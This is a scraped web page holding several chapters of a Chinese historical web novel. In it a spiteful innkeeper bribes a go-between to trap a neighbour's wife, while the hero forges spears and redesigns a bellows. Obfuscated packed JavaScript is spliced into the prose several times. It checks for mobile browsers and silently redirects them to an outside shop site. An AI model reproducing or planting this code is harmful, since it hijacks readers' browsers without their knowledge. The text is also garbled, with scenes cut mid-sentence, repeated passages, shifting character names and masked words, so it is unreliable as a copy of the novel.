自从遭了顾明远那奸贼的毒手,他便家破人亡,妻离子散。如今看谁都不顺眼,尤其是一想到苏阳那张脸,他就恨不得将那厮扒皮抽筋,挫骨扬灰! “苏阳,你这狗杂碎,给老子等着!” 肥掌柜咬牙切齿,腮帮子上的肥肉一颤一颤,仿佛两条肉虫在蠕动。每一个毛孔都向外喷射着怒火。 他像一头困兽般在青砖街上焦躁地来回踱步,脚下的青石板被他踩得“咯吱”作响。 本想寻那符福的晦气,出口恶气,不料那厮竟称病不出,连个人影儿都见不着。 难不成硬闯进去?肥掌柜犹豫了,他可不想再惹上什么官司。如今的他,早已不复当年之勇,成了任人宰割的鱼肉。 “娘的!难不成老子真就这般忍气吞声?”肥掌柜心中愤懑,如鲠在喉,不吐不快。 “不行!老子绝不能就此罢休!”他猛地一跺脚,震得地面都颤了几颤,“就算不能将苏阳那厮千刀万剐,也得先寻个倒霉蛋,出口恶气!” 肥掌柜心中发狠,一双贼眼在街面上四处逡巡,像一只觅食的老鹰,寻觅着可以下手的猎物。 突然,他的目光落在了不远处的一扇窗户上。 一个身姿曼妙的妇人正立在二楼窗边,手里拿着根竹竿,似乎是在撑开窗户。 肥掌柜咧嘴一笑,露出满口黄牙:“嘿嘿,天堂有路你不走,地狱无门闯进来!今儿个,老子就让你这小娘们儿尝尝厉害!” 他脚下生风,几步就窜到了窗户底下,扯着嗓子喊道:“楼上的,您可仔细着点儿,别把竹竿掉下来,砸着人可不是耍的!” 那妇人被他这突如其来的一嗓子吓得不轻,手一哆嗦,竹竿“啪嗒”一声,径直掉了下来…… 竹竿眼瞅着就要砸到肥掌柜头上,他却不躲不闪,嘴角反而勾起一抹得意的狞笑。 只听“哎哟”一声惨叫,肥掌柜双手捂头,装模作样地蹲了下去,心底却乐开了花。 他眼角余光一瞟,原本以为会看到一张惊慌失措的俏脸,却不料,竟冷不丁撞进了一双妩媚含情的眸子里! 二楼窗口,那妇人探出半个身子,一张白皙如玉的脸庞上,一双水汪汪的大眼睛顾盼生辉,红润的樱桃小口微微开启,仿佛无声地诉说着什么…… 肥掌柜顿时如遭雷击,浑身僵硬,脖子“咔吧”一声,差点没当场扭断。 “这……这是哪家的天仙下凡了?怎的这般勾人心魄?”肥掌柜心中惊呼,只觉一股邪火“腾”地一下蹿遍全身。 想当初,他也是阅女无数的风流人物,等闲的庸脂俗粉,根本入不了他的法眼。可自从家道中落,他身边就只剩下一个疯疯癫癫的黄脸婆。 猛然间见到符大娘子这般绝色,肥掌柜那颗干涸已久的心,顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好你个敬酒不吃吃罚酒的小娘们儿,竟敢给老子脸色看! 第三百四十九章 老子要让你知道,什么叫生不如死!” 肥掌柜平日里就不是什么善茬,如今落魄,更是变本加厉,心狠手辣。总是渴望拥有的,他越是想要,哪怕自己得不到,也要想方设法地毁掉! 他眼中凶光闪烁,一个恶毒的念头在脑海中成形,一个转弯溜进隔壁茶馆。 …… 三溪镇,青龙村。 孙玉哥在苏家一连住了几日,每日里除了吃喝,便是给村里的闲汉们讲些道听途说的奇闻异事。 起初,大伙儿还听得津津有味,可时间一长,便都觉得索然无味。 孙玉哥那些个故事,翻来覆去就那么几套,不是英雄救美,就是才子佳人,再不就是些神神鬼鬼的荒诞传说,听多了,难免让人腻烦。 更何况,苏阳压根儿就没把他当回事。 苏阳是何等人物?后世网络信息**,啥稀奇事没见识过?孙玉哥那点儿伎俩,在他面前,简直就是班门弄斧,不值一哂。 孙玉哥自以为得计,殊不知,苏阳早已看穿了他的底细,对他起了戒心。 苏阳可不想让这么个油嘴滑舌的家伙,把自己手底下那些淳朴的弟兄们给带坏了。 这日,孙玉哥正准备故技重施,给大伙儿讲一段“白蛇传”,苏阳却把他叫到了一边。 “郓哥啊,你也瞧见了,我这儿穷乡僻壤的,实在没什么好招待你的。再过几日,就要过年了,家家户户都忙着置办年货,我也得给弟兄们放个假,让他们回去跟家人团聚。你看,是不是……” 苏阳一番话说得委婉,可孙玉哥又不傻,哪能听不出其中的“逐客”之意? 他顿时如坠冰窟,脸色煞白,嘴唇哆嗦着,半晌说不出话来。 他原本还指望着靠着三寸不烂之舌,在苏阳这里混个一官半职,出人头地,可如今看来,一切都成了泡影。 孙玉哥心中又惊又怒,可又不敢发作。 他心里清楚,苏阳可不是一般的庄稼汉,而是这青龙村的土皇帝,手底下有的是人。真要惹恼了他,自己怕是连**的都不知道。 孙玉哥只得强压下心中的怒火,装出一副可怜巴巴的样子:“苏……苏大哥,您看,这大过年的,我孤身一人,无家可归,您就行行好,收留我吧……” “兄弟,不是我不肯收留你,实在是……唉,你也知道,我这儿条件有限,实在是……”苏阳面露难色,一副爱莫能助的模样。 孙玉哥见状,知道再怎么哀求也是无用,只得收拾起包袱,灰溜溜地离开了青龙村。 他前脚刚走,苏阳便“呸”地一声,朝地上啐了一口唾沫。 “什么玩意儿!真当老子是傻子,任你忽悠?”苏阳冷哼一声,心中暗道,“这种油头滑脑的家伙,留在身边迟早是个祸害!” 孙玉哥离开青龙村后,越想越气,越想越不甘心。 “好你个苏阳,竟敢这般瞧不起我!等着瞧吧,总有一天,我会让你跪在我面前,求我饶你一条狗命!”孙玉哥咬牙切齿地发着狠,心中暗暗盘算着如何报复苏阳。郑掌柜满面春风地来了,那笑容里三分赔罪,七分市侩。 “苏老弟,先前的事,都怪我那双招子不识人,错信了姓张的王八羔子!你放心,往后清阳县地面上,绝没他立足的地儿!” 郑掌柜拍着胸脯,信誓旦旦。 至于怎么个“没法立足”,苏阳压根不想问。 眼下千头万绪,哪有功夫理会这些? 真要撞上了,随手打发了便是。 话音一转,郑掌柜亮出了诚意——五十头犍牛! 这手笔可不小。 两头牛伺候一百亩地,那是精耕细作。 可要开荒,就得另算了。 卧龙沟北边那千把亩荒地,再加上原有的,这些牛将将够用。 谁知苏阳还不满足,腆着脸凑过去: “郑掌柜,您路子广,再帮兄弟想想辙,五十头……咋样?” 他搓着手,眼神里满是期待。 可不光是地里刨食要用牛,修路、盖房、运东西,哪样离得了? 再说,万一用不完,牛肉炖萝卜它不香吗? 郑掌柜脸上的肉抽了抽,像是被人捏住了七寸: “哎呦喂,苏老弟,这可难为死老哥了!清阳县就这么大,上哪儿给您变这么多牛去?外地客商不来,干瞪眼也没辙啊!大冷的天,谁乐意赶着牛出来跑生意……” 苏阳露出一个“善解人意”的笑容: “吴老哥,您别上火,年前不中,年后也使得。” 郑掌柜长出一口气,像是卸下了千斤重担:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“武家娘子,我那儿有几件衣裳,想请你过去帮着参详参详。” 张婆的声音,又尖又细,听着就让人不舒服。 这年月的邻里关系,可不比后世。 住了十几年,对门是谁都不知道,那都是常事。 街坊四邻,低头不见抬头见,谁家有个事,都得互相帮衬。 修房盖屋,婚丧嫁娶,迎来送往,都少不了邻里之间的人情往来。 张婆找上门,符大娘子抹不开面子,只能跟着去了。 张婆的茶坊,前后两间屋。 前头待客,后头住人。 大中午的,日头正毒,也没人喝茶。 符大娘子和张婆在里屋,一边闲话家常,一边飞针走线。 突然,外屋传来一阵脚步声。 不等张婆出去招呼,里屋的门帘“呼”的一下,被人掀开了。 一个矮胖的身影,闪了进来。 张婆一见来人,赶忙起身,满脸堆笑地迎了上去,说了几句客套话,就忙着去沏茶。 照理说,客人来了,该在外屋候着。 可这胖子,不仅没出去,还一屁股坐在了符大娘子的身边,色眯眯地盯着她看。 符大娘子心里“咯噔”一下。 孤男寡女共处一室,这要是让人瞧见了,还不得说闲话? 这胖子,她认得,就是昨天被自家支窗户的木棍,不小心砸到的那位。 没错,来人正是凤子楼的掌柜。 从见到符大娘子的那一刻起,他就动了心思,这辈子非把这女人弄到手不可。 到了茶坊,跟张婆一打听,他更是铁了心。 就冲着她是符福的媳妇,肥掌柜就觉得浑身舒坦! 一想到符福那个四脚虎,竟然能把这等美人压在身下,肥掌柜昨晚就没合眼。 尤其是那副画面,在他脑子里挥之不去,让他心痒难耐,辗转反侧。 天刚蒙蒙亮,肥掌柜就来了,找到张婆,直接拍出五两银子,还许下承诺,只要事成,另有重谢! 张婆见钱眼开,哪管什么道德良心。 银子往怀里一揣,她就拍着胸脯,打了包票: “大官人您就放心,这事要是办砸了,您拿我试问!”肥掌柜嘿嘿笑着,一对绿豆小眼闪着光,死死盯着符大娘子,毫不掩饰眼中的贪婪。 符大娘子被他这饿狼般的眼神看得心里发毛,浑身不自在,只想赶紧离开。 “我……” 她张了张嘴,刚要说话,身后的门帘子“唰”地一挑,张婆端着茶碗,扭着水桶腰走了进来。 “呦,小娘子可别急着走呀!” 张婆脸上堆笑,眼角的褶子能夹死苍蝇, “这位可是熊麻官人,清阳县谁不知道?凤子楼,那可是咱县里头一份儿的,就是他家的!” 符大娘子平日里大门不出二门不迈,哪是张婆这种老油条的对手。 几次想告辞,话到嘴边又被张婆给堵了回去,憋得她脸颊通红。 张婆那张嘴,真是能把黑的说成白的。 一番添油加醋,愣是把个肥掌柜吹上了天,就差没说他是玉皇大帝派下来的特使了。 肥掌柜被夸得心花怒放,嘴上还假意谦虚几句,可那双色眯眯的小眼睛,却一刻也没离开过符大娘子。 那眼神,恨不得把符大娘子给扒光了。 往常,肥掌柜这一招,基本上是百发百中。 哪个女人不爱钱?不想过好日子? 银子一到位,还怕她们不动心? 这种事,一个愿打一个愿挨,又不是黄花闺女了,多一次少一次,有什么关系? 可惜,肥掌柜这次是看走了眼。 符大娘子可不是那种随便的女人。 更何况,她还是个未经人事的,男女之事还懵着呢,哪会像那些久旷的妇人。 大元朝虽说风气开放,女人家到底还是比后世更注重名声,更何况还是没过门的。 符大娘子虽说羡慕肥掌柜的家财,却也没想过要出卖自己。 再说了,这肥掌柜都能当她爹了,一脸横肉,挺着个大肚子,看着就让人反胃。 要说符大娘子心里没个人,或许还能被他给唬住。 可偏偏,她心里早就有人了。 苏二。 苏二那身板,那长相,那气质,可不是这油腻胖子能比的,一个天上一个地下。 没开过荤的女人,对男女之事往往更挑剔。 看不上眼的,你就是把金山银山摆在她面前,她也未必会动心。 任凭张婆巧舌如簧,符大娘子始终低着头,**着衣角,心不在焉。 好不容易,张婆说得口干舌燥,停下来喘口气。 符大娘子瞅准机会,急忙说:“我家里还有事,先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如此笃定,是因为他有钱有势,在这清阳县,谁敢惹他? 第三百五十一章 再说,这大元朝,女人名声毁了,就算告官,也占不了什么便宜,唾沫阳子都能把她淹死。 更何况,他根本就没把符福放在眼里,一个卖炊饼的,能把他怎么样? 肥掌柜这一下,别说符大娘子,就连张婆也吓了一跳。 她是爱钱,可也不想为了这点银子惹上官司啊! 不等符大娘子反应过来,张婆抢先一步挡在了肥掌柜身前,声音都变了调: “大官人,您这是……喝多了?还是……” 话还没说完,张婆就感觉腰上一紧,一股大力传来。 竟是被肥掌柜一把搂进了怀里! 这肥掌柜有个怪癖,每次干那事的时候,都喜欢闭着眼睛。 这样他才能放飞想象力,把对方想象成仙女。 这不,他闭着眼,饿虎扑食,想来个温香软玉。 结果,紧紧搂在怀中,可这怀抱,怎么硬邦邦的,还一股子臭味? 肥掌柜皱着眉头,使劲吸了吸鼻子,想闻清楚这股怪味是什么。 “怪了,符大娘子看着挺干净的,怎么身上一股子臭味?这是多久没洗澡了?” 他心里一阵犯嘀咕。 “管她呢,洗没洗澡,等会儿一起洗不就得了!” 想到这儿,肥掌柜再也忍不住了,俯身轻吻! …… 日头西斜。 苏阳送走了郑掌柜,回了家。 刚准备歇会儿,就听见院子里一阵骚动。 “二虎!二虎在家吗?” 是铁匠凌麻嗓门。 苏阳一听,就知道有好事,赶忙迎了出去。 “二虎,你快去看看吧!成了!成了!” 凌麻一脸兴奋,唾沫阳子乱飞。 苏阳也顾不上许多,跟着凌麻就往卧龙沟北岸跑。残阳似血,将卧龙沟染成一片昏黄。 苏阳送走郑掌柜,刚迈进家门,还没来得及喘口气,院子里就炸开了锅。 “二虎!二虎在家吗?” 凌麻那破锣嗓子,隔着老远都能震得人耳膜疼,不用问,肯定是来报喜的。 苏阳三步并作两步迎了出去,一把拉住风风火火的凌麻:“我说凌麻叔,你这火急火燎的,是后院起火了?” “二虎,你……你快去看看!成……成了!” 凌麻上气不接下气,一张脸憋得通红,唾沫阳子喷了苏阳一脸。 苏阳也顾不上擦,心头一喜,难道是……他一把拽住凌麻,拔腿就往卧龙沟北岸跑。 为了让凌木匠安心搞研究,苏阳专门在北岸给他盖了一座宽敞的铁匠作坊,千叮咛万嘱咐,不仅要打铁,还要搞新花样。 可凌麻这手艺,实在让人不敢恭维,除了锄头、镰刀这些庄稼把式,正儿八经的兵器,愣是一件也没捣鼓出来。 你要说他只会打农具吧,他还偏偏能给你整个菜刀、斧头出来,你说气人不气人? 眼下,庄稼地里的活计不等人,可苏阳手里更缺趁手的兵器。没法子,他只能把打造枪头的重任交给凌麻了,谁让他是村里唯一的铁匠呢? **的构造简单,无非就是枪头配枪杆。枪杆好说,陈木匠早就备好了料,只等凌麻的枪头。 凌麻虽然没打过枪头,可铁匠这行当,一通百通,在他眼里,照猫画虎的事,能有多难? 这不,苏阳刚把任务布置下去没两天,凌麻就兴冲冲地来报喜了,说是枪头已经打造好了。 原本,苏阳琢磨着快过年了,给大伙儿放几天假,好好乐呵乐呵。 谁知,一帮穷苦出身的庄稼汉,竟然舍不得歇。过年?过年能当饭吃吗?哪有到手的工钱实在? 再说,春节还没到呢,这会儿就歇着,这收成也太惨淡了吧! 苏阳一听,也在理。得,想歇的就歇,不想歇的就加班,工钱照发,绝不含糊。 凌麻就是那闲不住的主儿,主动请缨加班。他的工钱跟别人不一样,计件不计时,干得多挣得多,绝不亏待。 一进铁匠铺,苏阳就看见凌麻已经把新打出来的枪头装到了枪杆上。 拎起这杆新枪,苏阳的眉头却微微一皱。这枪头,跟之前从清阳县买来的那些**一比,明显有些发乌,卖相差远了。 “中看不中用可不行,得试试才知道。” 苏阳掂了掂手里的**,转头对凌麻说:“走,咱们出去练练!” 凌麻一听,顿时来了精神,抄起**,紧跟着苏阳出了门。 两人来到院子里,苏阳挑了一棵碗口粗细的树,隔着二十来米站定,深吸一口气,将**稳稳地握在手中。 “凌麻叔,看好了,这招叫‘一往无前’!” 话音未落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671365|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,苏阳脚下猛地发力,整个人像一头蓄势已久的猎豹,猛地蹿了出去! 他身形如电,手中的**仿佛与他融为一体,带着凌厉的风声,直奔大树而去! 这招“一往无前”,是苏阳根据战场上的冲锋阵势琢磨出来的。讲究的就是一个快、准、狠,以雷霆万钧之势,一击制敌! 眼看就要撞上大树的瞬间,苏阳腰身一拧,全身的力气都灌注到了双臂之上,手中的**如同出海的蛟龙,发出一声低沉的嘶吼,狠狠地刺了出去! “噗!” 枪尖毫无阻碍地刺入了树干,直接穿透了厚厚的树皮,彻底栽进去了,枪杆都微微颤动起来。 “好!” “巡检好枪法!” “这枪,真带劲!” …… 周围看热闹的小子们,顿时炸开了锅,一个个摩拳擦掌,恨不得立刻就操起这新家伙,上阵杀敌。 然而,苏阳的脸色却沉了下来。他走到大树跟前,用力一拔,将**从树干中抽了出来。 这一拔,却让所有人都愣住了,欢呼声戛然而止。 只见那新打造的枪头,竟然从尖端处断了一截! “这……” 大伙儿面面相觑,都有些傻眼。 苏阳从清阳县买回来的那些**,他们可都使过,结实着呢,别说扎树了,就是往石头上怼,也不至于这么容易就断啊。 “凌麻叔,这枪头……怕是火候还差了点。”苏阳掂量着手里的断枪,语气平静。 凌麻一张老脸,瞬间涨成了猪肝色,额头上渗出了细密的汗珠。 他本以为自己这手艺已经够可以了,谁知,跟真正的行家一比,还是差了一大截。 “西家,我……我再琢磨琢磨。”凌麻低着头,声音有些发颤。 “别急,慢慢来。” 苏阳拍了拍凌麻的肩膀,笑着安慰道: “谁还没个打眼的时候?找出问题,下次才能做得更好。我相信你,一定能行!” 凌麻抬起头,看着苏阳真诚的眼神,心里顿时涌起一股暖流。 以往给官府干活,哪次不是提心吊胆?生怕一个不小心,就要挨鞭子。 可眼下,自己明明把事情搞砸了,苏阳却一点儿责怪的意思都没有,反而还鼓励自己,这让凌麻既感动,又惭愧。 第三百五十二章 “西家放心,我一定把这枪头给弄好!”凌麻咬了咬牙,暗暗下定了决心。 不光是凌麻,周围的那些匠人,也都被苏阳的举动给感染了。一个个心里都憋着一股劲,想要好好表现,不辜负苏阳的信任。 苏阳可没想那么多,他只是觉得,一次失败而已,没什么大不了的。 他凑到凌麻身边,仔细询问起打造枪头的每一个细节。 从选料,到熔炼,再到捶打,淬火……每一个步骤,苏阳都问得仔仔细细。 凌麻也知无不言,言无不尽,将自己多年的经验,倾囊相授。 苏阳虽然不懂冶金,但他毕竟见多识广,一番交流下来,心里也渐渐有了底。 他发现,凌麻打造枪头的手艺,其实并不差,只是在一些细节上,还有待改进。 比如,这炉子的温度,似乎就有些偏低。 温度不够,铁水里的杂质就无法充分燃烧,打造出来的枪头,自然就不够坚韧。 要把温度搞上去,就得从燃料和炉子两方面入手。 燃料,青龙村就剩木炭了,这玩意儿,烧火做饭还行,用来炼铁,就有点力不从心了。 要想提高炉温,就得用煤炭,甚至焦炭。 可这年头,煤炭可不是随便就能买到的,就算能买到,价格也贵得吓人,而且运输也是个大问题。 指望煤炭是不行了,那就只能在炉子上想想办法了。 苏阳绕着炉子转了几圈,脑子里飞快地转动着。 他记得,以前在书上看过,有一种炉子,可以通过改变结构,来提高燃烧效率,从而达到更高的温度。 要不,试试? 苏阳心里也没底,但他相信,只要肯动脑筋,总能找到解决问题的办法。他决定,先从改造炉子开始!弄不来煤,那就只能在木炭上下功夫,先把这燃烧效率给提上去。 苏阳的视线,落在了凌木匠那台“古董”风箱上。 那玩意儿,与其说是风箱,不如说是两块破木板拼起来的玩具。 在苏阳的记忆里,小时候在乡下见过类似的东西,不过比这个可精致多了。 那时候,他最喜欢做的事情,就是蹲在风箱旁边,看大人拉动拉杆,听那“呼哧呼哧”的声音。 有一次,他趁大人不注意,偷偷把风箱给拆了,里里外外研究了个遍。 也正是因为那次“探险”,他才对这玩意的原理了如指掌。 “嘿,这不就是个活塞运动嘛!” 苏阳心里有了底,这玩意儿,难不倒他。 他随手捡了根烧火棍,在地上画了起来。 周围的人都看呆了,一个个伸长了脖子,踮着脚尖,想看看苏阳到底在搞什么名堂。 “阳哥儿这是……在画符?” “嘘,小点声!没准儿是在请神呢!” 几个胆小的,甚至还悄悄往后退了几步,生怕被“冲撞”了。 要是以前,苏阳这么神神叨叨的,早就被人当成疯子了。 可现在,谁敢说他半个不字? 苏阳在庄子里的地位,那是跟坐了火箭似的,蹭蹭往上涨。 他越是表现得跟别人不一样,大伙儿就越觉得他深不可测,越是敬畏他。 这人比人,真是气**。 同样是神神叨叨,普通人做就是装神弄鬼,可到了苏阳这里,那就是神通广大。 苏阳可没心思管别人怎么想。 他现在满脑子都是风箱的构造图。 什么基因图谱,他肯定画不出来,那玩意儿太高深。 可这风箱嘛,小菜一碟! 没一会儿,一张图纸就在地上成型了。 苏阳把几个木匠叫到跟前,指着地上的图,问道: “几位师傅,这东西,你们能照着做出来吗?” 他画的,其实是一整套图纸。 不仅有风箱的整体外观,还有内部的详细结构,甚至还画了几个不同角度的剖面图。 几个木匠师傅围着图纸,你看看我,我看看你,谁也没说话。 他们刚才就站在旁边看着苏阳画,可愣是没看明白这是个啥。 倒不是他们手艺不行,实在是苏阳画的这玩意儿,太“抽象”了。 图上那些弯弯曲曲的符号,还有那些圈圈叉叉,简直比天书还难懂。 苏阳一看他们的表情,就知道问题出在哪儿了。 他指着图纸,开始给几个木匠师傅讲解: “这玩意儿,其实就是个改进版的风箱,我管它叫……叫‘双轮式涡流风箱’。” “你们看,这个箱体,用木板做成,中间用隔板分成两层……” “上层是活塞,下层是风道。活塞和拉杆连在一起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个木匠师傅都有些不好意思地笑了。 第三百五十三章 “有时候,我们根本就不用尺子,看一眼就知道这木头有多长,该怎么锯,怎么刨。” 苏阳算是服了。 这手艺,也太“玄学”了! “不行,这规矩得改!” 苏阳斩钉截铁地说道: “从今往后,你们都得用我定的标准来做东西!” 他可不想让自己的“兵工厂”,变成一个“手工作坊”。 “西家,这……这恐怕不行啊!” 几个木匠师傅一听,顿时急了。 “我们都用惯了原来的尺子,要是突然换了标准,怕是做不出东西来了!” “是啊,西家,这可不是闹着玩儿的!您要是让我们改规矩,那还不如杀了我们呢!” “没错!我们宁可不做这活儿,也不能改规矩!” 几个木匠师傅的态度,出乎意料的坚决。 苏阳这才意识到,自己捅了多大的篓子。 他原本以为,统一标准是件很简单的事情。 可现在看来,这简直比登天还难。 这些木匠师傅,一个个都倔得像头牛。 想要让他们改变祖祖辈辈传下来的规矩,简直就是要他们的命! “这……这可怎么办?” 苏阳挠了挠头,感觉一个头两个大。 他总不能真的把这几个木匠师傅给杀了吧? 那自己还造个屁的兵器啊!苏阳上辈子见过老外打乒乓球,为了限制华夏,生生把迷你版升级成plus。 这一下,从小练小球的选手全傻眼了。胳膊腿儿都练出肌肉记忆了,你把球变大了,这还怎么打? 同理,苏阳现在要是改了尺寸,工匠们也一样,锻造的装备容易翻车。 但他最后选择标准化工具。 不光是咬牙也得推行的问题,这是战略! 不如快刀斩乱麻,现在工匠少,还能改改习惯。将来人多了,锻造出来的玩意儿太讲究,想改都改不动。 好在大元朝工匠地位低。 “各位,我知道改习惯难,可为了长远打算,咱们必须得改!”苏阳对工匠们苦口婆心。 他顿了顿,尽量让语气显得更诚恳:“大家想想,以后咱们要造的东西多了,更精细了,尺寸不统一,那不是乱套了吗?咱们得统一标准,才能保证不出岔子,这可关系到咱们以后的饭碗!” 工匠们交头接耳,嗡嗡一片。 苏阳对他们又好,加上这么一说,工匠们思量再三,总算是勉强同意了。 谁知,新问题又来了。 “用我的!我的最准!”陈木匠梗着脖子,手里举着一把自制的木尺。 “放屁!用我的!我的才准!”孔木匠也不甘示弱,从怀里掏出一把油光锃亮的尺子,看样子有些年头了。 俩人吵个不停,其他木匠也分成了几派,各自支持自己熟悉的标尺。 “都别吵了!”苏阳猛地一拍桌子,震得桌上的茶碗都跳了起来,“这样,咱们把所有人的尺子都拿来,比一比,谁的在中间,就用谁的!” 他目光扫过众人,带着不容置疑:“谁要是不服,可以退出,我不强留!” 几个木匠面面相觑,最终还是没人敢吭声。 苏阳让人把所有的尺子都收集起来,一一比对,最后选定了一把长度居中的尺子作为标准。 木匠这边算是勉强定下来了,但这事儿远远没完。 苏阳决定,趁热打铁,把所有工匠的标准都统一了。铁匠、瓦匠、窑匠、石匠……一个都不能少! 他召集了所有工匠,宣布了新的规定。 为了防止以后再出现误差,苏阳特意让不同工种的匠人,分别按照选定的标准,打造了几套标准量具,并且用专门的箱子封存,作为以后制作量具的唯一标准,不准私自更改。 他还规定,每隔一段时间,就要用标准量具对工匠们使用的量具进行校准,确保准确无误。 这些新的规矩,让工匠们叫苦不迭,却又不敢违抗。 就这几套标准量具,足足折腾了一整天。 等苏阳设计的风箱做好,转眼就到第二天黄昏。 村里的空地上,围满了看热闹的人。 大家七嘴八舌地议论着: “这苏二,又在搞什么名堂?” “不知道啊,说是弄了个什么风箱,能让炉火更旺。” “真的假的?他一个读书人,还能懂这些?” 凌木匠作为村里唯一的铁匠,自然也在人群中。 他挤到最前面,想亲眼看看苏阳的新发明。 苏阳也没多话,直接示意凌木匠动手。 凌木匠深吸一口气,握住风箱的拉杆,用力拉动起来。 呼嗒,呼嗒…… 风箱发出低沉而有节奏的声响,铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他手中的**也偏离了方向,枪尖擦着树干划了过去,带起一片飞溅的木屑。 第三百五十四章 凌木匠一个踉跄,差点摔倒在地。 人群中传来一阵惋惜声,还有几声压抑不住的笑声。 凌木匠的脸涨得通红,他知道,自己这次丢人丢大了。 苏阳没有出声,只是静静地看着。 “俺来试试!” 陈木生从人群中走了出来,从凌木匠手中接过**。 他走到距离大树二十米开外的地方站定,深吸一口气,眼神变得锐利起来。 “石头哥,加油!” “给他点颜色看看!” 几个一起打猎的小伙伴在一旁为陈木生加油鼓劲。 陈木生微微点头,双脚稳稳地站在地上,双手紧握枪杆,身体微微前倾。 “杀!” 陈木生大吼一声,像一头猎豹般冲了出去,速度快得惊人。 眨眼间,他已经冲到了大树跟前。 就在这电光火石的一刹那,陈木生猛地刺出了手中的**! 枪尖在空中划过一道寒光,准确无误地刺中了树干。 咔嚓! 一声脆响,木质的枪杆竟然从中断裂! 陈木生也被这巨大的反作用力震得连退几步,一屁股坐在了地上。 所有人都惊呆了。 这一枪的威力,竟然如此之大! “好枪法!”苏阳忍不住赞叹道。 他走上前,拍了拍陈木生的肩膀:“没事吧?” “没事,西家。”陈木生咧嘴一笑,从地上爬了起来。 周围的工匠们也都纷纷围了上来,看着断裂的枪杆和深深扎进树干的枪头,啧啧称奇。 他们终于明白,为什么苏阳要费这么大劲来训练他们打枪了。 枪法这么离谱,别说是野猪黑熊,就算是老虎来了,也得乖乖变成猎物! 而苏阳之所以要训练大家用人型木靶,也是为了模拟实战,培养一击必杀的技巧。“西家,您真是神了!” 一个匠人竖起大拇指,由衷赞叹, “俺老凌半辈子都没琢磨透的玩意,到您手里,三下五除二就给解决了!” “可不是咋地,西家简直就是活神仙下凡!” 另一个匠人也跟着附和, “要我说,咱西家肯定是从天上来的,要不咋啥都会呢?” 周围的匠人们也纷纷点头,看向苏阳的眼神里,除了敬佩,还带着几分狂热。 凌木匠站在一旁,脸上是掩饰不住的激动。 他紧紧盯着那改造后的风箱,仿佛在看一件稀世珍宝。 “西家,您这法子真绝了!俺老凌咋就没想到呢?” 他搓着手,语气里带着几分懊恼,又带着几分庆幸, “要不是您,俺这辈子怕是都只能当个打农具的三流铁匠了!” 不只是匠人们,苏阳手下的一众小子们也个个喜笑颜开。 “石头哥,你这枪耍得真带劲!” 一个小子冲着陈木生喊道, “等凌木匠把枪头都打好了,咱们可就**换炮了!” “就是,以后谁还敢说咱们是泥腿子?” 另一个小子挥舞着手中的藤矛,一脸得意, “到时候,咱们也让他们见识见识,什么叫真家伙!” 原本,因为**数量有限,不少小子平时训练只能用藤矛凑合。 藤矛太轻,耍起来软绵绵的,和**的手感天差地别。 真要上了战场,还得重新适应。 这下可好,凌木匠掌握了打造枪头的关键技术,大伙儿很快就能人手一把真家伙了! 欢呼雀跃的人群中,苏阳却显得格外冷静。 他微微皱着眉头,轻轻摆了摆手: “先别忙着高兴,问题还没完全解决呢。” “来,你们几个,轮流上去试试枪。” 他指了指路旭东、毕明志、周阳等人。 众人一愣,脸上的笑容瞬间凝固。 “啥?西家,这枪……还有问题?” 一个匠人小心翼翼地问道, “不能吧,俺们可都是照着您说的做的啊……” 凌木匠更是急得满脸通红,脖子上的青筋都爆了起来。 他以为苏阳不相信自己,心里憋着一股气,差点就要冲上去和苏阳理论一番。 “西家,您要是不信俺老凌的手艺,俺……俺……” 他“俺”了半天,也没说出个所以然来。 路旭东、毕明志、周阳等人依次上前,拿起**,用力向树干刺去。 一下,两下,三下…… 还好,几轮下来,刃尖寒光依旧凌厉,并没有出现什么异常。 匠人们悬着的心稍稍放了下来,脸上又露出了几分喜色。 可凌木匠却更加局促不安。 他紧紧攥着拳头,指节因为用力而微微泛白, “难道……真是俺老凌学艺不精,让西家失望了?” 他心里暗暗责怪自己, 